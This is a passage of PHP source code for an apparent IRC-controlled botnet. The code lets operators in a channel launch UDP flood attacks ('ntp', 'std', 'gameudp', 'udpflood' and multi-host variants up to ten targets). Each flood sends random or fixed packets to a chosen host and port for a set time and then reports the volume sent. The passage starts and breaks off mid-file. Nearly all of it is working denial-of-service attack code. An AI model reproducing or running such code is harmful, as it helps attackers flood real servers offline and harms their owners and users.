$this->notice($nick, "0[\20Time is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['maxtime'] = $mcmd[1];
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Time>");
}
break;
case "Nick":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['prefix']) {
$this->notice($nick, "0[\20Nickname is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['prefix'] = $mcmd[1];
$this->set_nick();
$this->main();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Nick>");
}
break;
case "ntp":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[4] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "[\2NTP Started on Host: ".$host." on Port: ".$port." For ".$time."sec!\2]");
for($i=0;$i<$packetsize;$i++) { $packet .= chr("\x17\x00\x03\x2a\x00\x00\x00\x00"); }
$end = time() + $time;
$fp = fsockopen("udp://".$host,$port,$e,$s,8);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[NTP]: requests sent: ".$vel." to ".$host.":".$port.": Fails: ".$f);
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "std":
if(count($mcmd)>4) {
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$size = $mcmd[4];
if($time > $this->config['maxtime'])
{
$this->privmsg($this->config['chan'], "Max boot Time is ".$this->config["maxtime"]);
break;
}
elseif ($size > $this->config['maxsize']) {
$this->privmsg($this->config['chan'], "Max boot Size is ".$this->config["maxsize"]);
break;
}
$i = 0;
$end_time = time() + $time;
$socket = fsockopen("udp://" . $host, $port, $errno, $errstr, 5);
$this->privmsg($this->config['chan'], "STD Flooding ".$host." on ".$port." [".$time." Seconds / ".$size." FD(s)]");
while (true)
{
$packet = "";
$data = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 25);
for ($ii = 0; $ii < $size; $ii++)
{
$packet .= $data;
fwrite($socket, $packet);
fflush($socket);
}
if ($i % 100 == 0)
{
if (time() >= $end_time)
{
$this->privmsg($this->config['chan'], "STD Flood On ".$host.":".$port." Finished!");
break;
}
}
$i++;
}
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "gameudp":
if(count($mcmd)>4) {
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$size = $mcmd[4];
if($time > $this->config['maxtime'])
{
$this->privmsg($this->config['chan'], "Max boot Time is ".$this->config["maxtime"]);
break;
}
elseif ($size > $this->config['maxsize']) {
$this->privmsg($this->config['chan'], "Max boot Size is ".$this->config["maxsize"]);
break;
}
$i = 0;
$fds = array();
$end_time = time() + $time;
$this->privmsg($this->config['chan'], "UDP Flooding ".$host." on ".$port." [".$time." Seconds / ".$size." FD(s)]");
while (true)
{
$ii = 0;
$packet = "";
for ($ii = 0; $ii < $size; $ii++)
{
$packet .= chr(rand(1, 256));
$fds[$ii] = @fsockopen("udp://" . $host, $port, $errno, $errstr, 2);
fwrite($fds[$ii], $packet);
fflush($fds[$ii]);
fclose($fds[$ii]);
}
if ($i % 100 == 0)
{
if (time() >= $end_time)
{
$this->privmsg($this->config['chan'], "UDP Flood On ".$host.":".$port." Finished!");
break;
}
}
$i++;
}
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "udpflood":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[4] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on Host:4 ".$host."14 using port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp = fsockopen("udp://".$host,$port,$e,$s,5);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k on Host:4 ".$host."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "udpfloodtwo":
if ($mcmd[4] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[5] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>5) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$port = $mcmd[3];
$time = $mcmd[4];
$packetsize = $mcmd[5];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <port> <time> <size>");}
break;
case "udpfloodthree":
if ($mcmd[5] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[6] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>6) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$port = $mcmd[4];
$time = $mcmd[5];
$packetsize = $mcmd[6];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <port> <time> <size>");}
break;
case "udpfloodfour":
if ($mcmd[6] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[7] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>7) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$port = $mcmd[5];
$time = $mcmd[6];
$packetsize = $mcmd[7];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <port> <time> <size>");}
break;
case "udpfloodfive":
if ($mcmd[7] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[8] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>8) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$port = $mcmd[6];
$time = $mcmd[7];
$packetsize = $mcmd[8];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <port> <time> <size>");}
break;
case "udpfloodsix":
if ($mcmd[8] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[9] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>9) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$port = $mcmd[7];
$time = $mcmd[8];
$packetsize = $mcmd[9];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <port> <time> <size>");}
break;
case "udpfloodseven":
if ($mcmd[9] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[10] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>10) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$port = $mcmd[8];
$time = $mcmd[9];
$packetsize = $mcmd[10];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <port> <time> <size>");}
break;
case "udpfloodeight":
if ($mcmd[10] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[11] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>11) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$port = $mcmd[9];
$time = $mcmd[10];
$packetsize = $mcmd[11];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <port> <time> <size>");}
break;
case "udpfloodnine":
if ($mcmd[11] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[12] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>12) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$port = $mcmd[10];
$time = $mcmd[11];
$packetsize = $mcmd[12];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <port> <time> <size>");}
break;
case "udpfloodten":
if ($mcmd[12] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[13] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>13) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$port = $mcmd[11];
$time = $mcmd[12];
$packetsize = $mcmd[13];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <port> <time> <size>");}
break;
case "udpfloodeleven":
if ($mcmd[13] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[14] > $this->config['maxsize']) {
